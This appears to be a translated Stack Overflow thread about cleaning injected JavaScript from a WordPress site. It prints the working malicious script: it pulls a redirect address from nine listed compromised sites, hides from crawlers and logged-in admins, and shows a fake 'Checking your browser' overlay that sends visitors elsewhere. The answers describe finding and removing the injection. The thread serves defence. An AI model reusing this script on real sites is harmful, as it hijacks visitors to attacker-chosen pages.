2016-12-06 21 views
4
(function() { 
    //<script> 
    var w_location = null; 

    var domains = [ 
     'http://kntsv.nl/images/tmp.php', 
     'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php', 
     'http://langedijke.nl/plugins/tmp.php', 
     'http://megateuf.edelo.net/cgi-bin/tmp.php', 
     'http://www.icanguri.com/modules/mod_xsystem/tmp.php', 
     'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php', 
     'http://yofeet.com/drupal/modules/tmp.php', 
     'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php', 
     'http://www.devonportmotors.co.nz/images/tmp.php' 
    ]; 

    function getDomainName(domain) { 
     var xhr = new XMLHttpRequest(); 
     xhr.onreadystatechange = function() { 
      if (xhr.readyState == XMLHttpRequest.DONE) { 
       if (xhr.responseText && xhr.responseText.trim().length > 0) { 
        w_location = xhr.responseText.trim(); 
       } 
      } 
     }; 
     xhr.open('GET', domains[0], true); 
     xhr.send(); 
    } 

    for (var i = 0; i < domains.length; i++) { 
     getDomainName(domains[i]); 
    } 

    function start() { 

     var from = document.referrer; 
     var i; 

     // If it's direct 
     var eee = ["", " "]; 

     var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"]; 


     if (checkCookie()) { 
      return; 
     } 
     var uagent = navigator.userAgent; 
     if (!uagent || uagent.length == 0) { 
      return; 
     } 
     uagent = uagent.toLowerCase(); 
     if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1 
      || uagent.indexOf('crawl') != -1) { 

     } else { 
      hideWebSite(); 
     } 

     function getCookie(c_name) { 
      var c_value = document.cookie; 
      var c_start = c_value.indexOf(" " + c_name + "="); 
      if (c_start == -1) { 
       c_start = c_value.indexOf(c_name + "="); 
      } 
      if (c_start == -1) { 
       c_value = null; 
      } 
      else { 
       c_start = c_value.indexOf("=", c_start) + 1; 
       var c_end = c_value.indexOf(";", c_start); 
       if (c_end == -1) { 
        c_end = c_value.length; 
       } 
       c_value = unescape(c_value.substring(c_start, c_end)); 
      } 
      return c_value; 
     } 

     function setCookie(c_name, value, exdays) { 
      var exdate = new Date(); 
      exdate.setDate(exdate.getDate() + exdays); 
      var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString()); 
      document.cookie = c_name + "=" + c_value; 
     } 

     function checkCookie() { 
      if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') { 
       return true; 
      } else { 
       localStorage.setItem('yYjra4PCc8kmBHess1ib', '1'); 
      } 
      var referrerRedirectCookie = getCookie("referrerRedirectCookie"); 
      if (referrerRedirectCookie != null && referrerRedirectCookie != "") { 
       return true; 
      } else if (document.cookie.indexOf('wordpress_logged') !== -1 
       || document.cookie.indexOf('wp-settings') !== -1 
       || document.cookie.indexOf('wordpress_test') !== -1) { 
       return true; 
      } else { 
       setCookie("referrerRedirectCookie", "do not redirect", 730); 
       return false; 
      } 
     } 

    } 


    function createPopup() { 
     var popup = document.createElement('div'); 
     popup.style.position = 'absolute'; 
     popup.style.width = '100%'; 
     popup.style.height = '100%'; 
     popup.style.left = 0; 
     popup.style.top = 0; 
     popup.style.backgroundColor = 'white'; 
     popup.style.zIndex = 99999; 
     document.body.appendChild(popup); 

     popup.onclick = function() { 
      var intervalId = setInterval(() = > { 
        if (
      !w_location 
      ) 
      { 
       return; 
      } 
      clearInterval(intervalId); 
      window.location = w_location; 
     }, 
      10 
      ) 
      ; 

     }; 

     var p = document.createElement('p'); 
     p.innerText = "Checking your browser before accessing " 
      + window.location.host + "..."; 
     p.style.textAlign = 'center'; 
     //p.style.margin = '20px auto'; 
     //p.style.left = '20px'; 
     p.style.fontSize = 'x-large'; 
     p.style.position = 'relative'; 
     p.textContent = p.innerText; 
     popup.appendChild(p); 

     return popup; 
    } 

    function createButton() { 
     var button = document.createElement('div'); 
     button.style.position = 'absolute'; 
     button.style.top = '20%'; 
     button.style.left = '10%'; 
     button.style.right = '10%'; 
     button.style.width = '80%'; 
     button.style.border = "1px solid black"; 
     button.style.textAlign = 'center'; 
     button.style.verticalAlign = 'middle'; 
     button.style.margin = '0, auto'; 
     button.style.cursor = 'pointer'; 
     button.style.fontSize = 'xx-large'; 
     button.style.borderRadius = '5px'; 
     button.onclick = function() { 
      window.location = w_location; 
     }; 
     button.onmouseover = function() { 
      button.style.border = '1px solid red'; 
      button.style.color = 'red'; 
     }; 
     button.onmouseout = function() { 
      button.style.border = '1px solid black'; 
      button.style.color = 'black'; 
     }; 

     button.innerText = "Continue"; 
     button.textContent = button.innerText; 
     return button; 
    } 

    var hideWebSite = function() { 
     var popup = createPopup(); 
     var button = createButton(); 
     popup.appendChild(button); 

    }; 

    var readyStateCheckInterval = setInterval(function() { 
     if (document.readyState === 'complete' 
      || document.readyState == 'interactive') { 
      clearInterval(readyStateCheckInterval); 
      start(); 
     } 
    }, 10); 
    //</script> 


}) 

我試過grep跨代碼,但找不到任何東西,我拿了MySQL轉儲的完整數據庫,但沒有找到任何東西。WordPress的可疑代碼任何想法如何刪除?

我跑了clamscan,我找不到任何問題,我的疑問是在Visual Composer,但是當我在Visual Composer中grep時,我沒有看到這段代碼。

UPDATE

這是個什麼網站顯示感染時:

enter image description here

您可以通過檢查消息和按鈕的源(疊加,這不應該存在)到Chrome開發工具控制檯,並看到變量的值ZJPMAWHWOE這將給你一堆的JS代碼,但在變量中它被加密,一旦代碼運行並得到解密它是JS代碼發佈abov即

如果你去網站https://sitecheck.sucuri.net/並檢查您的網站,那麼你會得到他們的感染警報:

enter image description here

+1

你怎麼知道它的可疑?此外,有關此代碼存儲位置,文件名等的更多信息。 http://stackoverflow.com/help/how-to-ask – garfbradaz

+2

某些此代碼肯定是可疑的。你是怎樣找到它的。它是作爲單獨的文件還是以內聯方式加載? –

+2

你應該知道它是如何進入的,否則它會在以後回來。 – vico

回答

3

經進一步調查,我們發現:

正如指出的OP和其他人在註釋中,GREP到同一服務器上的網站文件和其他網站的文件中,以查看受感染代碼(加密或解密)的任何痕跡,但沒有給出任何結果,這意味着感染不在任何文件中(至少不是那種形式)。

我們注意到一些額外的垃圾字符在我們的頁面,我們有我們的「合法」聲明的底部:

enter image description here

追查什麼最終的HTML的一部分,有感染(和/或垃圾字符),我們的情況下找JS變量ZJPMAWHWOE

enter image description here

Efectively,腳本代碼存在於一個已知的HTML片段,對我們來說,它就是我們的一個WordPress頁面中存在的「合法」頁面。

這是現在指向的代碼被內部網頁/郵政直接在WordPress編輯。我們走進去,檢查的法律頁面,發現它存在(發現同樣的垃圾字符在前):

enter image description here

然後同時向下滾動(在文本視圖,以獲取頁面的原始HTML)我們到了這一點:

enter image description here

我們檢查在網站的其他網頁和帖子和相同的注入的代碼存在於他們。

一旦我們清理它們,所有的感染似乎都消失了。

那麼現在,這個攻擊是如何完成的?我們的理論是隻有通過獲取WordPress用戶憑證和編輯頁面/帖子;在我們的例子中,這很簡單,因爲我們的/ wp-admin登錄頁面不受HTTPS保護,所以我們的用戶和密碼可以很容易地被嗅探;我們認爲這是他們獲得用戶憑證的方式,然後編輯頁面/帖子以添加惡意代碼。

除了清理我們也做了以下內容:

  • 更新了系統密碼數據庫
  • 刪除從WordPress的所有用戶;我們只留在有「管理員」和我的用戶(包括具有管理員角色)
  • 更新了密碼的用戶「管理員」和我的用戶
  • 重新創建用戶提供了博客編輯的新密碼

在進步:爲了保護每次登錄wp-admin時提交的用戶/密碼信息,我們正在爲WordPress獲取HTTPS。

我還想知道關於如何提高我們WordPress的安全性的其他建議以及有關他們如何能夠在頁面/帖子中注入惡意代碼的其他理論。